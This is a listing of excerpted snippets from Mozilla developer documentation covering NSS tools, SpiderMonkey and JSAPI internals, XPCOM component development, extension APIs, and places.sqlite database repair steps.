Upgraded documentation may be found in the Current NSS Reference Key Functions Chapter 6 Key Functions This chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with Communicator. SECKEY_GetDefaultKeyDB SECKEY_DestroyPrivateKey SECKEY_GetDefaultKeyDB Returns a handle to the default key database opened by NSS_Init. ...
ssltyp.html
Upgraded documentation may be found in the Current NSS Reference Selected SSL Types and Structures Chapter 3 Selected SSL Types and Structures This chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them. Additional types are described with the functions that use them or in the header files. ...
NSS Tools modutil
r example, it may be the server's root directory or the Netscape Communicator root directory. The "%temp%" directory is created at the beginning of the installation and destroyed at the end. The purpose of "%temp%" is to hold executable files (such as setup programs) or files that are used by these programs. For example, a Windows installation might consist of a setup.exe installation program, a help file, and a .cab file containing compressed information. All these files could be installed in the temporary directory. Files destined for the temporary directory are guaranteed to be in place before any executable file is run; they are not deleted until all executable files have finished. AbsolutePath Specifies the destination directory of the file as an absolute path. If both RelativePath a...
certutil
Read an alternate PQG value from the specified file when generating DSA key pairs. If this argument is not used, certutil generates its own PQG value. PQG files are created with a separate DSA utility. -q curve-name Set the elliptic curve name to use when generating ECC key pairs. A complete list of ECC curves is given in the help (-H). -r Display a certificate's binary DER encoding when listing information about that certificate with the -L option. -s subject Identify a particular certificate owner for new certificates or certificate requests. Bracket this string with quotation marks if it contains spaces. The subject identification format follows RFC ...
NSS tools : signtool
ose value] ] [[--norecurse] ] [[--leavearc] ] [[-j directory] ] [[-Z jarfile] ] [[-O] ] [[-p password] ] [directory-tree] [archive] Description The Signing Tool, signtool, creates digital signatures and uses a Java Archive (JAR) file to associate the signatures with files in a directory. Electronic software distribution over any network involves potential security problems. To help address some of these problems, you can associate digital signatures with the files in a JAR archive. Digital signatures allow SSL-enabled clients to perform two important operations: * Confirm the identity of the individual, company, or other entity whose digital signature is associated with the files * Check whether the files have been tampered with since being signed If yo...
Necko walkthrough
pRequest, OnDataAvailable, the three functions in which channel responses are received asynchronously. nsHttpChannel::AsyncOpen called from OpenURI; OpenChannel isn't named the best, since the opening happens in the context of OpenURI, its calling function. This is where it hits Necko code. But the interface for clients of Necko is important to consider: SEND REQUEST URI helps creates channel setup channel (headers, request data, response callback...) channel->AsyncOpen. RECEIVE RESPONSE get a callback to each of these: nsIStreamListener::OnStartRequest (header info) nsIStreamListener::OnDataAvailable (data in single or multiple chunks) nsIStreamListener::OnStopRequest (no more data from http) This all happens on th...
Proxies in Necko
Proxies are implemented transparently to necko users. This means that callers can just create an nsIChannel, not needing to worry about whether the channel will use a proxy or not The basic interfaces for proxies are: nsIProxyInfo, nsIProtocolProxyService, and nsIProxiedProtocolHandler nsIProxyInfo is a simple helper which stores information about the type of the proxy, its host and its port. nsIIOService The decision whether to use a proxy is made in nsIOService::NewChannelFromURI. It first asks the nsIProtocolProxyService for an nsIProxyInfo. Depending on the type of the proxy info, it either asks the HTTP Protocol Handler or the protocol handler for the requested URI for a new channel with the nsIProxyInfo - if the channel supports nsIProxiedProtocolHandler. Otherwise, the proxy inf...
Rhino community
There is a much older group, mozilla.dev.tech.js-engine.rhino, that is no longer actively used. Please use the new group instead, but the old one may be of historical interest. The mozilla.dev.tech.js-engine newsgroup answers questions about the C implementation of JavaScript, and was also used for answering questions about Rhino until September 27, 2007. To view archived messages earlier than September 27, 2007, try Google group for the earlier newsgroup. ...
Scripting Java
tring and have all the methods defined by that class. JavaScript strings have methods defined by String.prototype. The most common stumbling block is length, which is a method of Java strings and a dynamic property of JavaScript strings: js> javaString = new java.lang.String("Java") Java js> jsString = "JavaScript" JavaScript js> javaString.length() 4 js> jsString.length 10 Rhino provides some help in reducing the differences between the two types. First, you can pass a JavaScript string to a Java method that requires a Java string and Rhino will perform the conversion. We actually saw this feature in action on the call to the java.lang.String constructor in the preceding example. Rhino also makes the JavaScript methods available to Java strings if the java.lang.String class doesn't alread...
Rhino
...
Shumway
The project is not exactly a developer tool but it is something that content creators should test against (and report bugs or performance issues to). For even more information, please refer to the external links. The whats and whys of Shumway Shumway is a renderer for Adobe Flash built entirely in Web Standards (JavaScript, WebGL, and others). It is currently available as an extension and as a component in Firefox's Nightly builds that can be enabled through about:config (you need to find the shumway.disabled preference and set it to false). ...
Rebranding SpiderMonkey (1.8.5)
a wide range platforms without introducing more software dependencies. Save the file and exit the editor. You may now perform the build and installation of your custom branded SpiderMonkey library: make Note: Depending on your system you may need administrative rights to perform the installation: make install The following information isn't technically needed for using your library but it will help other applications use your library. Your rebranded library has been succesfully built and installed to libdir as specified in ./config/autoconf.mk. A pkgconfig file has also been installed for your library at libdir/pkgconfig/$BRAND.pc. You may wish to manually edit this file. It describes your library package. The script file js-config has not been modified either and still points to mozjs185.
Future directions
e is no guarantee. The public API is gradually moving from jsapi.h and jsfriendapi.h into header files in js/public. Much more cleanup and organization is still required. Practical coding bits Experimental language features New language features (ES6+) and APIs often get added to SpiderMonkey while the spec is still being drafted, or before the feature has stabilized. This is good, because it helps the spec work. For these features: Do not add vendor prefixes. See http://hsivonen.iki.fi/vendor-prefixes/ for an extended argument. Disable the feature before the Beta channel. Nightly and Aurora are the good channels for experimental work. NSPR The plan is to make SpiderMonkey not depend on NSPR. No fundamental blockers currently exist, but ctypes is still using NSPR's runtime library l...
Hacking Tips
This page list a few tips to help you investigate issues related to SpiderMonkey. All tips listed here are dealing with the JavaScript shell obtained at the end of the build documentation of SpiderMonkey. It is separated in 2 parts, one section related to debugging and another section related to drafting optimizations. Many of these tips only apply to debug builds of the JS shell; they will not function in a release build. Debugging Tips Getting help (from JS shell) Use the help function to get the list of all primitive functions of the shell with their description. Note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace". Getting the bytecode of a function (from JS shell) The shell has a small function named...
Exact Stack Rooting
a NULL value into a function taking a js::HandleT, you can construct and pass a new NullPtr instance. You are free to use these as temporaries. RootedObject obj(cx, JS_NewObject(cx, clasp, NullPtr(), NullPtr()); Common Pitfalls The C++ type system allows us to eliminate the possibility of most common errors; however, there are still a few things that you can get wrong that the compiler cannot help you with. There is basically never a good reason to do any of these. If you think you do need to do one of these, ask on one of SpiderMonkey's support forums: maybe we've already solved your problem using a different mechanism. Storing a js::RootedT on the heap. It would be very easy to violate the LIFO constraint if you did this. Use a different rooting mechanism if you store a GCPointer on t...
Garbage collection
Principal data structures Cell A Cell is the unit of memory that is allocated and collected by the GC, as used externally. In other words, from the point of view of the rest of the engine, the job of the GC is to allocate cells and automatically collect them. Cell is the base class for all classes that are allocated by the GC, e.g., JSObject. Allocation Kind Cells are classified by allocation kind. ...
Property cache
ectly. This special kind of entry is used only for JOF_GET instructions and only when the property has a stub getter and has a slot (i.e. it is not JSPROP_SHARED). The slot index is vword.toSlot(). vword.isObject() The property has a stub getter and its value is vword.toObject(). This special kind of entry is used only for JOF_CALL instructions and only when the result is a Function. It helps the JIT avoid extra loads and guards when calling methods. Branded scopes exist to support this case. When a property cache entry of this type is created, the scope of the object that contains the property is branded. The "branded scope guarantee" documented above ensures that any changes to function-valued own properties of that object will bump its shape, conservatively invalidating all prop...
SpiderMonkey Internals
, at run time. More information on the JavaScript shell. js.msg SpiderMonkey error messages. jsarray.*, jsbool.*, jsdate.*, jsfun.*, jsmath.*, jsnum.*, jsstr.* These file pairs implement the standard classes and (where they exist) their underlying primitive types. They have similar structure, generally starting with class definitions and continuing with internal constructors, finalizers, and helper functions. jsobj.*, jsscope.* These two pairs declare and implement the JS object system. All of the following happen here: creating objects by class and prototype, and finalizing objects; defining, looking up, getting, setting, and deleting properties; creating and destroying properties and binding names to them. The details of a native object's map (scope) are mostly hidden in jsscop...
JSAPI Cookbook
ct()); if (!JS_GetProperty(cx, yobj, "myprop", &x)) return false; That code will crash if y is not an object. That's often unacceptable. An alternative would be to simulate the behavior of the JavaScript . notation exactly. It's a nice thought--JavaScript wouldn't crash, at least--but implementing its exact behavior turns out to be quite complicated, and most of the work is not particularly helpful. Usually it is best to check for !y.isObject() and throw an Error with a nice message. /* JSAPI */ JS::RootedValue x(cx); if (!y.isObject()) return ThrowError(cx, global, "Parameter y must be an object.", __FILE__, __LINE__); /* see the #throw example */ JS::RootedObject yobj(cx, &y.toObject()); if (!JS_GetProperty(cx, yobj, "myprop", &x)) return false; Setting a property // Jav...
JS::CloneFunctionObject
tion to clone. scopeChain JS::AutoObjectVector The new function's scope chain. Description JS::CloneFunctionObject creates a new function object from funobj. The new object has the same code and argument list as funobj. If scopeChain is supplied, it uses scopeChain as its enclosing scope. If scopeChain is omitted, it creates a new function object in cx's global. This can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object. The new object's prototype is Function.prototype; JS_NewObject : Choosing a Default Prototype explains exactly how this is computed. JS::CloneFunctionObject takes care to choose a prototype that shares a global object with the given parent whenever possible. funobj must be a pointer ...
JSAutoCompartment
Syntax JSAutoCompartment(JSContext *cx, JSObject *target); JSAutoCompartment(JSContext *cx, JSScript *target); Name Type Description cx JSContext * The context on which a cross-compartment call is needed. target JSObject * / JSScript * The object in a different compartment to be accessed. This implicitly identifies the compartment to be entered. Description Every JSContext has a current compartment. ...
JS_ClearNewbornRoots
age collection. Syntax void JS_ClearNewbornRoots(JSContext *cx); Name Type Description cx JSContext * The context to clear. Description The last GC thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context. These newborn roots help native code protect newly-created GC-things from GC invocations activated before those things can be rooted using local or global roots. However, the newborn roots can also entrain great gobs of garbage, so the JS_GC entry point clears them for the context on which GC is being forced. Embeddings may need to do likewise for all contexts. See JS_EnterLocalRootScope for a better way to manage newbor...
JS_CloneFunctionObject
request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. funobj JSObject * The Function to clone. parent JSObject * The new function's parent. Description JS_CloneFunctionObject creates a new function object from funobj. The new object has the same code and argument list as funobj, but uses parent as its enclosing scope. This can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object. The new object's prototype is Function.prototype; JS_NewObject: Choosing a Default Prototype explains exactly how this is computed. JS_CloneFunctionObject takes care to choose a prototype that shares a global object with the given parent whenever possible. funobj must be a pointer to a...
JS_DefinePropertyWithTinyId
ass the name of the property as a string to the id parameter of a tiny-id-aware callback, it passes INT_TO_JSVAL(tinyid) instead. The tiny-id-aware callbacks are: property getters and setters; and JSClass.addProperty, .delProperty, .getProperty, and .setProperty. Tiny ids only affect the ids passed to these hooks; the JavaScript engine does not use them as property names internally. Tiny ids are helpful for getters and setters that are shared by several different properties. Those getters and setters can use switch (JSVAL_TO_INT(id)), instead of checking the value of id as a string, to determine which property is being accessed. However, tiny ids can cause confusion when used with JSClass callbacks. For example, if a property named "color" is defined with tiny id 10, then the JavaScript expr...
JS_MaybeGC
x); Name Type Description cx JSContext * The context in which to perform garbage collection, if needed. Description JS_MaybeGC tries to determine whether garbage collection in cx's runtime would free up enough memory to be worth the amount of time it would take. If so, it performs some garbage collection. Calling JS_MaybeGC when the application is idle can help prevent garbage collection from happening at less convenient times. Calling JS_MaybeGC periodically when the application is busy, from a JSBranchCallback or JSOperationCallback Added in SpiderMonkey 1.8, can keep memory usage down and improve performance. Both are good practices. In both cases, frequent calls JS_MaybeGC are safe and will not cause the application to spend a lot of time doing redu...
JS_SetGCZeal
Syntax void JS_SetGCZeal(JSContext *cx, uint8_t zeal, uint32_t frequency); Name Type Description cx JSContext * A context. The GC zeal level of the associated JSRuntime is set. zeal uint8_t The desired level of garbage collection. frequency uint32_t With some zeal levels, a GC is triggered every frequency allocations. ...
JS_THREADSAFE
e callbacks provide a request. This means that any potentially long-running operation in a native must be bracketed with calls to JS_SuspendRequest() and JS_ResumeRequest(). JSBool socket_recv(JSContext *cx, unsigned int argc, jsval *vp) { ... rc = JS_SuspendRequest(cx); read_size = recv(socket, buf, size, flags); JS_ResumeRequest(cx, rc); ... } Garbage collection Requests help make garbage collection safe when multiple threads are using the JSAPI. For each thread that is in a request: Almost any call into the JSAPI may trigger garbage collection; but Garbage collection does not happen at any other time (such as, for example, at the moment before the return value of JS_NewObject is assigned to a rooted variable). These are actually the same rules that apply to sin...
jsdouble
...
JSAPI reference
If a variable is a root, then anything it points to will not be freed by the garbage collector. Failure to root objects is a very common cause of mysterious crashes. class JS::Rooted<T> Added in SpiderMonkey 17 class JS::RootedObject Added in SpiderMonkey 17 class JS::RootedFunct...
SpiderMonkey 1.8.8
In the long run we anticipate removing the environment variable-based overriding when we drop support for versions of Visual Studio prior to 2010. In the meantime MOZ_CUSTOM_STDINT_H is intended to function as a bridge to always using the standard header. For more information on the fixed-size integer types changes, see this blog post. New C APIs ...list and link to new APIs here... New C++ helpers While JSAPI remains a C API, the engine is now implemented in C++. Some C++ helpers have been introduced into the API, to help embedders writing C++ projects. Please note that SpiderMonkey reserves the JS:: namespace for itself. ...list new C++ helpers here... Obsolete APIs ...list obsolete methods/structs/APIs here... Deleted APIs JS_GET_CLASS (use JS_GetClass instead) JS_ConstructO...
SpiderMonkey 17
In the long run we anticipate removing the environment variable-based overriding when we drop support for versions of Visual Studio prior to 2010. In the meantime MOZ_CUSTOM_STDINT_H is intended to function as a bridge to always using the standard header. For more information on the fixed-size integer types changes, see this blog post. New C APIs ...list and link to new APIs here... New C++ helpers While JSAPI remains a C API, the engine is now implemented in C++. Some C++ helpers have been introduced into the API, to help embedders writing C++ projects. Please note that SpiderMonkey reserves the JS:: namespace for itself. ...list new C++ helpers here... Obsolete APIs ...list obsolete methods/structs/APIs here... Deleted APIs JS_GET_CLASS (use JS_GetClass instead) JS_ConstructO...
Running Automated JavaScript Tests
re also available for this one, but a few have different names. Use -h to see all the options. The --jitflags option allows you to test the JS executable with different flags. The flags are used to control which features are run, such as which JITs are enabled and how quickly they will kick in. The valid options are named bundles like 'all', 'interp', 'none', etc. See the full list in the -h / --help output. One helpful option specific to jit-tests is -R filename (or --retest filename). The first time this is run, it runs the suite and writes a list of tests that failed to the given filename. The next time it is run, it will run only the tests in the given filename, and then will write the list of tests that failed when it is done. Thus, you can keep retesting as you fix bugs and only the te...
Running Parsemark
f the SpiderMonkey front-end. The intent is to run a dozen or so large-payload JS sites globbed up from across the web. Yes, it includes GMail. Here's how you get your mitts on it. The test files are not checked into the source tree because they're non-Mozilla JS code. Download the suite of parse tests from Bug 548621 and decompress them. Within js/src/tests, run python parsemark.py -h to see help documentation. Generally you'll want to capture JSON results for your baseline and compare them to the results for the "current" version of your shell. A typical run can be done like so: cd js/src/tests python parsemark.py /path/to/baseline/js /path/to/parse-tests-dir/ -q > /tmp/baseline.json python parsemark.py /path/to/current/js /path/to/parse-tests-dir/ -q > /tmp/current.json python compa...
SpiderMonkey: The Mozilla JavaScript runtime
ript API. Tips, tricks and philosophy Future Directions Future directions for functionality, design, and coding practices. SpiderMonkey Internals A design overview and a file-by-file walkthrough of the implementation. Bytecode Reference SpiderMonkey bytecode reference. ...
Thread Sanitizer
ly" ac_add_options --disable-debug Starting the build process Now you start the build process using the regular make -f client.mk command. Starting Firefox After the build has completed, you can start Firefox from the objdir as usual. Building only the JavaScript shell If you want to build only the JavaScript shell instead of doing a full Firefox build, the build script below will probably help you to do so. Before using it, you must of course adjust the path name for LLVM_ROOT to match your setup. Once you have adjusted everything, execute this script in the js/src/ subdirectory and pass a directory name as the first parameter. The build will then be created in a new subdirectory with that name. #! /bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then e...
Zest
n source and can be included in any tool whether open or closed, free or commercial. Zest is still at a very early stage of development, but is has been made available so that anyone can play around with it. All constructive feedback is very welcome. Anyone can contribute to the onward development of Zest, and teams or individuals who develop security tools are especially welcome to join and help shape Zest's future. Zest topics Usecases Reporting security vulnerabilities to developers Reporting security vulnerabilities to companies Defining active and passive scanner rules Deep integration with security tools Runtimes The runtime environments that support Zest Tools The tools that include support Zest Implementation The state of Zest development ...
Mozinfo
... # unknown! Command Line Usage MozInfo comes with a command line, mozinfo which may be used to diagnose one's current system. Example output: os: linux version: Ubuntu 10.10 bits: 32 processor: x86 Three of these fields, os, bits, and processor, have a finite set of choices. You may display the value of these choices using mozinfo --os, mozinfo --bits, and mozinfo --processor. mozinfo --help documents command-line usage. ...
Redis Tips
e broadcast pubsub search reverse indexes (never use KEYS in production) Documentation Redis has fantastic documentation. Yet redis is so easy to learn and use that you'll seldom feel you need to consult it. There are three reasons to look at the docs for every command you use. Time complexity - Each command's complexity is given in Big-O notation. This is immensely helpful. Related commands - An ever-growing list of related commands is given on the right-hand side of the page. Recipes - At the bottom of many pages is a section that gives usage patterns or recipes for the command under discussion. There are many insightful ideas to be found here. Getting Started with Redis Before you go any further in this document, make sure you have played with redis for ...
The Rust programming language
It prevents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax. In addition, Rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient C bindings, with a minimum runtime size. ...
Pinning violation reports
Public Key Pinning helps ensure that people are connecting to the sites they intend. It allows site operators to specify who can issue valid certificates for them, rather than accepting any one of the hundreds of built-in root certificates that ship with your browser. If a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, Firefox will reject the connection and display an error page. The error page displayed by Firefox when you encounter a pin violation gives you the option of reporting this error. Doing this can help us to make the web safer. ...
A Web PKI x509 certificate primer
the certificate was issued for. Examples of extended key usages are: serverAuth, clientAuth, and OCSPSigning. For end-entity certificates for PKI this extension is required to exist with the serverAuth bit asserted. Name constraints This is an extension exclusive for CA and indicates limits on the name space for its children. This is one of the most powerful extensions for businesses to have to help limit risk imposed by losing the private key of the CA. Authority information access This extension is primarily used to to describe the OCSP location for revocation checking. It is mandatory for certificates that chain up to a root in the Mozilla CA program. Self-signed certificates These are the steps to generate a certificate for www.example.com. Replace this value with the actual server n...
Browser security
curity. These articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. A Web PKI x509 certificate primerX.509 (in this document referred as x509) is an ITU standard to describe certificates. ...
Signing Mozilla apps for Mac OS X
Firefox and Thunderbird releases are both signed before shipping; this article describes the process. Signing Mozilla apps without the signing server Firefox and Thunderbird are built using Mozilla's Release Automation infrastructure. On Mac OS X, part of this infrastructure is automatic signing of the ".app" folder using Apple's codesign tool. ...
Implementation Details
...
XForms Accessibility
child elements to the form controls described above. Some of these elements are not accessible itself but they makes accessibility properties for XForms elements that hold them. label Specifies the label for the xforms control (see the spec, the docs). Every form control other than the output element must contain a label element. The value of label element is used as name of accessible object. help Specifies contextual help for the containing form control (see the spec, the docs). The help element has ROLE_ALERT role. hint Similar to a tooltip (see the spec, the docs). The value of hint element is used as description of accessible object. alert This message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the...
History Service Design
or can be containers (folders, other queries, dynamic containers and so on). See Querying Places for deeper knowledge on the actual implementation. Expiration Expiration is an important part of data management for two reasons: Privacy: expiring data based on user interaction is important, nothing must be left behind on a page removal Database maintenance: having cleaner and smaller tables helps queries performances Expiration is done at certain moments, but in future will most likely be moved to async queries, to be executed on a separate thread. Actually pages and visits are expired: On page added (lazily) On idle On shutdown Expiration of pages happens when a page is no more referenced, so there are no more visits, nor bookmarks associated with it. Visits are expired based o...
places.sqlite Database Troubleshooting
profile folder to the work folder. Download the latest precompiled binary Sqlite command-line shell from: https://www.sqlite.org/download.html Extract sqlite3 executable into the work folder. Open a terminal window and navigate to the work folder. Then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> PRAGMA integrity_check; If the result IS OK, this guide won't help; stop here and please file a bug. sqlite> .clone places.sqlite sqlite> PRAGMA user_version; Note the version number returned by the last pragma query. sqlite> .exit Open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> PRAGMA integrity_check; If the result IS NOT OK, the file cannot be recovered; stop here and please file a bug. Let's fix the schema vers...
The Publicity Stream API
]): Applications should call this method when an user-initiated activity deemed attractive to potential consumers occurs. This spawns a doorhanger which allows the user to specify which users can view the activity, and (following successful login and authorization with the stream server) registers the activity in a stream at [ADDRESS]. This stream can be pulled down by getPublicityStream() and helps determine the results for getUserRecommendedApps(). example use cases: 'Adam got a high score in Mafia Wars', 'Bethany bought a plane ticket to the Caribbean', etc. activity is an object, formatted as per the FIXME: deadLinkActivity Streams open specification. onsuccess is a callback that will be invoked with no arguments if the activity is successfully posted. onerror is an error callba...
FUEL
FUEL is new in Firefox 3. FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas. We want to start with areas that will provide the most benefit. FUEL has a fuelIApplication interface that implements all the functions of extIApplication. ...
SMILE
SMILE is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas. We want to start with areas that will provide the most benefit. SMILE has a smileIApplication interface that implements all the functions of extIApplication. The library has also been implemented in Firefox ("FUEL") and in Thunderbird ("STEEL"). ...
extIApplication
Implemented via XPCOM service for extIApplication: see the instructions on the FUEL (Firefox), STEEL (Thunderbird) and SMILE (SeaMonkey) pages. Method overview boolean quit() boolean restart() void getExtensions(extIExtensionsCallback aCallback) Attributes The following interfaces are available to all applications: Attribute Type Description id readonly attribute AString The id of the application. ...
extIExtension
Implemented via XPCOM service for extIApplication: see the instructions on the FUEL (Firefox), STEEL (Thunderbird) and SMILE (SeaMonkey) pages. Method overview FIXME: Attributes Attribute Type Description id readonly attribute AString The id of the extension. name readonly attribute AString The name of the extension. ...
extIPreferenceBranch
he interface has a predefined root preference branch. The root branch is set based on the context of the owner. For example, an extension's preferences has a root of "extensions.extensionid.", while the application-level preferences have an empty root. All preference "aName" parameters used in this interface are relative to the root branch. extIPreferenceBranch is defined in toolkit/components/exthelper/extIApplication.idl. Implemented via XPCOM service for extIApplication: see the instructions on the FUEL (Firefox), STEEL (Thunderbird) and SMILE (SeaMonkey) pages. Method overview boolean has(in AString aName) extIPreference get(in AString aName) nsIVariant getValue(in AString aName, in nsIVariant aDefaultValue) void setValue(in AString aName, in nsIVaria...
extISessionStorage
Implemented via XPCOM service for extIApplication: see the instructions on the FUEL (Firefox), STEEL (Thunderbird) and SMILE (SeaMonkey) pages. Method overview These methods are usually accessed via Application.storage. ...
Creating a Python XPCOM component
self.yourName = newName Then register your component; the procedure is the same for any component, but will not work if Python components weren't enabled. To register the component, touch the .autoreg (a hidden file) in the bin directory, or delete xpti.dat. Then, the next time Mozilla starts, it will rebuild the index of components, including any new one in the 'components' directory. It is helpful to then start Mozilla from the command line to see if new components register successfully. Generating implementation templates The module xpcom.xpt is used internally to process type information, but it has a nice feature - it can spit out a template for a Python implementation of any interface. Just execute this file as a script with the interface name as a param. For example: % cd c:\mozill...
How to build an XPCOM component in JavaScript
aults to the object's contractID (unless 'service' is specified) value: "...", // optional, defaults to false. When set to true, and only if 'value' is not // specified, the concatenation of the string "service," and the object's contractID // is passed as aValue parameter of addCategoryEntry. service: true }], // QueryInterface implementation, e.g. ...
XPCOM changes in Gecko 2.0
ert the following line to your chrome.manifest: category profile-after-change MyComponent @foobar/mycomponent;1 Important: Formerly, the contract id of the category entry was prefixed with "service," if the component was implemented as a service. This prefix needs to be dropped when migrating to chrome.manifest. Changed category names The XPCOM category manager is used to register certain global helper objects. Because chrome.manifest is a space-delimited format, category names with spaces cannot be registered. Therefore the following categories have changed: Old name New name JavaScript global constructor JavaScript-global-constructor JavaScript global constructor prototype alias JavaScript-global-constructor-prototype-alias JavaScript global property JavaScript-global-property ...
Creating the Component Code
crosoft Visual C++. uuidgen is a command-line tool that returns a unique 128-bit number when you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee On Windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click. Or you can use one of the special "bots" on IRC in #developers, where you can also get help from human beings. irc irc.mozilla.org /join #developers /msg firebot uuid This command makes the bot generate and return a UUID, which you can then copy into your component source code. Now that we've looked at the preliminaries, it's time to discuss the classes that this module provides and the way that they define the relationships of the component in XPCOM. Coding for the Registration P...
Finishing the Component
if (strcmp(hostToLoad.get(), host.get()) == 0) { // match found. Allow this nsIURI to load *_retval = PR_TRUE; return NS_OK; } node = node->next; } return NS_OK; } At this point, all of the backend work is complete. You can of course improve this backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like WebLock. The next chapter looks at how to tie this into the front end - specifically, how to use XPConnect to access and control this component from JavaScript in the user interface. << PreviousNext >> Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0...
Setting up the Gecko SDK
it should have the layout seen below: Layout of the Extracted SDK The directories represent different modules in the SDK. For example, the headers for networking are all located in the necko directory, and the headers that XPCOM requires are in the XPCOM directory. This directory structure makes build scripts slightly more complicated (since there will be many different include paths), but it helps to organize the parts of the SDK meaningfully. The two top level header files are special. The file mozilla-config.h lists all of the defines used in the SDK. Including this header file in your project ensures that the component you create uses the same defines as the Gecko libraries themselves. Note that mozilla-config.h may be need to be included before other includes in your component's sour...
Using XPCOM Utilities to Make Things Easier
ros work on an array of structures represented by the components parameter. Each structure describes a CID that is to be registered with XPCOM. The first parameter for each of these macros is an arbitrary string that names the module. In a debugging environment, this string will be printed to the screen when the component library is loaded or unloaded. You should pick a name that makes sense and helps you keep track of things. The four required parts[other-parts] of the structure contain the following information: A human readable class name the class ID (CID) the contract ID (an optional but recommended argument) a constructor for the given object static const nsModuleComponentInfo components[] = { { "Pretty Class Name", CID, CONTRACT_ID, Constructor }, // ... }; ...
Making cross-thread calls using runnables
s This can take a while, so we don't want to run this on the main thread. Instead, we want to run it on a new thread and be notified when the result is available. So we declare an asynchronous version of the same function: typedef void (*PiCallback)(const nsCString& result); // Callback function void CalculatePiAsynchronously(int digits, PiCallback callback); Creating a runnable nsRunnable is a helper class: it already implements threadsafe refcounting, so all you need to do is override the Run() function. In our example, we actually need two runnables: one dispatched to the worker thread, and one to hand us back the result. #include "nsThreadUtils.h" class PiResultTask : public nsRunnable { public: PiResultTask(PiCallback callback, const nsACString& result) : mCallback(callback) ...
XPCOM guide
Mozilla › Tech › XPCOM › Guide
rovide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like. Avoiding leaks in JavaScript XPCOM componentsProgrammers writing and reviewing JavaScript code in Mozilla should understand how code using XPCOM in JavaScript can leak so that they can avoid leaks. ...
Introduction to XPCOM for the DOM
he purpose of this tutorial is to describe the process of adding a new interface to the DOM and then implementing it. A good understanding of the previous sections is preferred to understand this tutorial. You could want to add a new interface for several reasons, like the addition of a new DOM object, or to respect an eventual "Interface freeze". First we will take a look at XPIDL and how it can help you define interfaces. Next we will describe the build system, makefiles, etc... And finally, we will look at the implementation of our new interface through the creation of an nsIDOMFabian interface (Fabian is my first name ;-). XPIDL XPIDL stands for Cross-Platform Interface Definition Language. Instead of coding interfaces directly in C++ , one can use XPIDL. It simplifies greatly the task o...
Components.utils.createObjectIn
Note that this function is now mostly obsolete when you are using Sandbox, because you can create an object in a different compartment using new. ...
Components.utils.evalInWindow
to access variables and APIs defined in web content. Even so, while the code is being evaluated it is in the content's context, so the caller has to be prepared for the possibility that the content could have redefined behavior (for example, a setter in the script may have been redefined to do something unexpected). This function is made available as a global in sandboxes which have the wantExportHelpers option set in the Sandbox() constructor. Syntax var result = Components.utils.evalInWindow(script, window); Parameters script : string The script to evaluate in the other window. window : object The window in which to evaluate the script. Returns The result of evaluating the script. If this is just native (for example, a DOM node), then the function relies on XrayWrappers to...
Components.utils.exportFunction
lled from the less privileged code's context. The function has access to its surrounding closure just as if it were being called in the privileged context. The exported function does not have to be added to the less privileged code's global window object: it can be exported to any object in the target scope. exportFunction() is made available as a global in sandboxes which have the wantExportHelpers option set in the Sandbox() constructor. This includes Add-on SDK content scripts. To understand what happens if the functions you export accept arguments, see Exporting functions that take arguments below. Syntax Components.utils.exportFunction(func, targetScope[, options]); Parameters func : function The function to export. targetScope : object The object to attach the function to.
PyXPCOM
OM is similar to JavaXPCOM (Java-XPCOM bridge) or XPConnect (JavaScript-XPCOM bridge). Mozilla defines many external interfaces available to embeddors and component developers. PyXPCOM provides access to these interfaces as Python interfaces. PyXPCOM also contains several classes that provide access to functions for initializing and shutting down XPCOM and Gecko from Python, as well as some XPCOM helper functions. Documentation Building PyXPCOM The instructions for building PyXPCOM. Creating a Python XPCOM component An example of how to create a simple XPCOM component with Python. Getting to know PyXPCOM PyXPCOM is a bridging technology between XPCOM and Python. This article gives you...
Profiling XPCShell
Introduction Sometimes, you might want to get a performance profile of a certain piece of JavaScript (like an XPCOM module), to see which part takes the most time. You could use Venkman for that. But sometimes, Venkman gives too much noise (because it also profiles chrome code). Or you might want to have a more reproducible testcase. In those cases, an xpcshell script can help. You can just call the code you want to test. But then, you can't use the Venkman UI. XPCTools There is profiler in the tree that can profile xpcshell scripts. To use it, you need to enable it in your mozconfig: ac_add_options --enable-xpctools Now you can profile an entire script by setting the environment variable <tt>MOZILLA_JS_PROFILER_OUTPUT</tt> to a filename where you want the output file. For example, o...
Observer Notifications
event The event that triggered the context menu. addonInfo An empty object that add-ons can use to send data to the main process. null This notification is sent when the context menu is displayed. It is sent, and received, in the content process: you can't listen to it in the chrome process. It's used by the context-menu module in the Add-on SDK, to help send information to the context-menu code running in the chrome process when a context menu is displayed. ...
nsACString_internal
